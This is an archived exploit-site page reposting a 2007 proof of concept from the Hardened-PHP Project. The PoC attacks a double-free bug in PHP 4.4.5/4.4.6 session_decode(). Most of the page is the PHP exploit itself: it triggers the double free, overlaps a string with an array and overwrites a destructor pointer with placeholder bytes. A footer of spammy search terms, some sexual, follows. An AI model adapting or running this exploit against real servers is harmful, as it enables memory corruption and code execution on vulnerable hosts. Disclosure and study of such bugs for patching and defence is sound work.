about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC




2007-03-27 PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
Rated as : Critical

<?php
 
////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___ 
//
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
//
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
//
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
//
  //                                                                   
//
  //         Proof of concept code from the Hardened-PHP Project       
//
  //                   (C) Copyright 2007 Stefan Esser                 
//
  //                                                                   
//
 
////////////////////////////////////////////////////////////////////////
  //     PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability    
//
 
////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  ini_set("session.serialize_handler", "php");
  session_start();

  $varname = str_repeat("D", 39);
  $$varname = &$_SESSION;

  // Trigger the double free
  
  session_decode($varname.'|i:0;');
  $_________________x =
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
  $_________________a = array("OneElement");

  // Now x and a point to the same memory. Therefore x can be used to
modify a

  // Overwrite pointer to the destructor  
  $_________________x[8*4+0] = chr(0x55);
  $_________________x[8*4+1] = chr(0x66);
  $_________________x[8*4+2] = chr(0x77);
  $_________________x[8*4+3] = chr(0x88);
  
  // Trigger the destruction
  unset($_________________a);
?>
securitydot.net - 2007-03-27

Advertising

Copyright 2007, SecurityDot
Wed, 16 Dec 2009 04:48:01 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
sdfgh www.89929. www.toviva Kushbusexv www.sinqid M...a/new. t954t WWW.GIRLSE www.kingli www.mzeyes Www pondok xx blakc news for C ftp 5 Fucking ph windows rx XXX.SACXY www.mahugo www.388ys. girlsdogse com_rsgall CUPS explo WWW.SEX SE wwwxxxwww. AVasilev@e Crack Data Helpdesk P glop hot indian D042817 /search/ex t740t ARABXXX.CO www.yanjia //componen Ghaziabad HIT JAMMER www.news.c i...ices.c form230-I news for c Www .com.w www.17bai. mint Shaun sxe mobil vedi coeled.51s php-nuke 2 sexy girs 520mianfei